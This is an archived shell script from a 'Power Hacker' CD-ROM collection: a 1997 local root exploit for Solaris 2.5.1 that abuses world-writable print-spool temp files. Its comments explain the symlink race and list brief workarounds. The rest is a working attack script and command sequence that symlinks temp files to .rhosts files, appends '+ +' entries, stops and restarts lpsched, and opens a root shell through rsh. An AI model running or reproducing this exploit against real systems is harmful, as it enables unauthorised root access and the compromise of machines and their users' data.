home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / solaris_lp.sh < prev    next >
Encoding:
Text File  |  2001-11-06  |  5.3 KB  |  168 lines

  1. #
  2. # The quick and dirty:
  3. # remote printing to the local spool causes a temp file to be
  4. # created mode 666 owned by lp in /var/tmp. This can be used
  5. # in conjunction with /var/lp/logs/lpsched, which is another
  6. # temp file created mode 666 owned by root, to break root
  7. # by first symlinking to /usr/spool/lp/.rhosts, becoming lp,
  8. # symlinking to /.rhosts and, as lp, using /usr/sbin/lpshut
  9. # to cause /.rhosts to be created mode 666 owned by root.
  10. #
  11. # Q&D workaround:
  12. # add "umask 022" to /etc/init.d/lp; restart /etc/init.d/lp
  13. # su - root; touch /usr/spool/lp/.rhosts
  14. # su - root; chown root /usr/spool/lp; chmod 755 /usr/spool/lp
  15. #
  16. # Here it is:
  17. #
  18. #!/bin/sh
  19. #
  20. # lpNet & temp file exploit:
  21. #   break lp, then use lp priv to break root (or bin, etc...).
  22. #
  23. #   Written by: Chris Sheldon (csh@viewgraphics.com)
  24. #
  25. #   Tested on Solaris-2.5.1:
  26. #     SunOS testhost 5.5.1 Generic sun4m sparc SUNW,SPARCstation-20
  27. #
  28. #   Caveat: This system is running without patches. Sun released
  29. #     patch 103959-03 for 2.5.1 on Feb 27, 1997. lpNet and lpsched
  30. #     were replaced in that patch, but the patch README does not
  31. #     mention anything about a temp file or permissions problem.
  32. #     103959-03 is in the recommended patch list, but not in the
  33. #     "Patches containing security fixes" list.
  34. #
  35. #   This way (not using HP JetAdmin) *seems* to only work when you have
  36. #   a postscript-only defined printer. If you send an ascii job to the
  37. #   print queue, lpNet will invoke several of the /usr/lib/lp/postscript
  38. #   programs to convert the ascii into postscript. One of them, postio(1),
  39. #   creates a temp file in /var/tmp mode 666. If the request is sent from
  40. #   a remote system (eg. handled by lpNet), then postio(1) runs as lp and
  41. #   creates /var/tmp/<printer-name>.log as lp mode 666.
  42. #
  43. #   Here's part of the /var/lp/logs/request file:
  44. #
  45. #   = lp0-71, uid -1, gid -1, size 123, Sat May  3 03:26:14 PDT 1997
  46. #   x /usr/lib/lp/postscript/postprint
  47. #   y /usr/lib/lp/postscript/download -plp0|/usr/lib/lp/postscript/postio \
  48. #       2>>$ERRFILE -L/var/tmp/lp0.log
  49. #   t simple
  50. #
  51. #   What if you don't have a PS-only printer? Well, if you are using
  52. #   the HP JetAdmin software and are running the hpnp daemon, then
  53. #   you're just as vulnerable. The JetAdmin software creates a temp
  54. #   file /var/tmp/jadump as lp with mode 666. It's happily follows
  55. #   symlinks.
  56. #
  57. #   So, then exploit essentially is:
  58. #     ln -s ~lp/.rhosts /var/tmp/<printer-name.log>
  59. #      -or-
  60. #     ln -s ~lp/.rhosts /var/tmp/jadump
  61. #     rsh somehost lp somefile.txt
  62. #     echo "+ +" >> ~lp/.rhosts
  63. #     rsh -l lp localhost /bin/sh -i
  64. #     mv /var/lp/logs/lpsched /var/lp/logs/lpsched.save
  65. #     ln -s /.rhosts /var/lp/logs/lpsched
  66. #     /usr/sbin/lpshut
  67. #     /usr/lib/lpsched
  68. #     mv /var/lp/logs/lpsched.save /var/lp/logs/lpsched
  69. #     echo "+ +" >> /.rhosts
  70. #     rsh -l root localhost /bin/sh -i
  71. #
  72. #  Note: This won't clobber the permissions on an existing /.rhosts
  73. #    file, but you can always symlink to /usr/bin/.rhosts.
  74. #
  75. #  Workaround:
  76. #    Put "umask 022" in /etc/init.d/lp. /var/tmp/<printer-name>.log
  77. #      will be mode 644. This also makes /var/lp/logs/lpsched
  78. #      created as mode 644.
  79. #    For /var/tmp/jadump, the umask trick didn't work. I just made
  80. #    /usr/spool/lp 755 root/root (was 775 lp/lp).
  81. #
  82. #  I suppose as a general principal, it's a good thing to go around
  83. #  as root and touch /.rhosts /usr/bin/.rhosts /usr/spool/lp/.rhosts
  84. #  and /var/adm/.rhosts as 600 root/root. I also run a script which
  85. #  checks the files (and their contents) on a regular basis.
  86. #
  87. #  Perhaps there should be a file called /etc/rusers which, like the
  88. #  /etc/ftpusers file, denies any user in that file password-less
  89. #  r-service access.
  90. #
  91. #  Of course, you still have to worry about things like .forward.
  92. #  A more draconian approach would be to change /var/spool/lp to
  93. #  mode 755 and owned by root. What would this break?? (anything?)
  94. #
  95. #  This is the JetAdmin/hpnpd script:
  96. #
  97.  
  98. #
  99. # Usage stuff.
  100. if [ "$1" = "" ]; then
  101.   echo "Usage: lp-exp <remote-host> [remote printer name]"
  102.   echo "         remote-host: host must have networked printer"
  103.   echo "           with the main spool on the local system."
  104.   exit
  105. else
  106.   remlp=$1
  107. fi
  108.  
  109. #
  110. # Specify a different queue
  111. if [ "$2" != "" ]; then
  112.   remqn=$2
  113. fi
  114.  
  115. #
  116. # Check for ~lp/.rhosts
  117. if [ -f /usr/spool/lp/.rhosts ]; then
  118.   echo "lp's .rhosts file exists... sorry"
  119.   exit
  120. fi
  121.  
  122. #
  123. # Check if hpnpd is running
  124. if [ "`ps -e | grep hpnpd`" != "" ]; then
  125.   echo "found hpnpd running"
  126.   rm -f /var/tmp/jadump
  127.   ln -s /usr/spool/lp/.rhosts /var/tmp/jadump
  128. else
  129.   echo "If you have a postscript only printer, try that (see comments)."
  130.   exit
  131. fi
  132.  
  133. #
  134. # print some data on a remote system
  135. if [ "$remlp" = "" ]; then
  136.   rsh $remlp "echo ASCII-STRING | lp"
  137. else
  138.   rsh $remlp "echo ASCII-STRING | lp -d$remqn"
  139. fi
  140.  
  141. sleep 3
  142.  
  143. #
  144. # Check for the new .rhosts file and break root
  145. if [ -f /usr/spool/lp/.rhosts ]; then
  146.   rm -f /var/tmp/jadump
  147.   echo "+ +" >> /usr/spool/lp/.rhosts
  148.  
  149.   rsh -l lp localhost "rm /usr/spool/lp/.rhosts ;\
  150.     mv /var/lp/logs/lpsched /var/lp/logs/lpsched.save ;\
  151.     ln -s /.rhosts /var/lp/logs/lpsched ;\
  152.     /usr/sbin/lpshut ;\
  153.     sleep 3 ;\
  154.     /usr/lib/lpsched ;\
  155.     mv /var/lp/logs/lpsched.save /var/lp/logs/lpsched ;\
  156.     echo \"+ +\" >> /.rhosts"
  157. else
  158.   echo "Hmmm... no .rhosts file was created."
  159.   exit
  160. fi
  161.  
  162. rsh -l root localhost /bin/sh -i
  163.  
  164. #
  165. #
  166. #
  167.  
  168.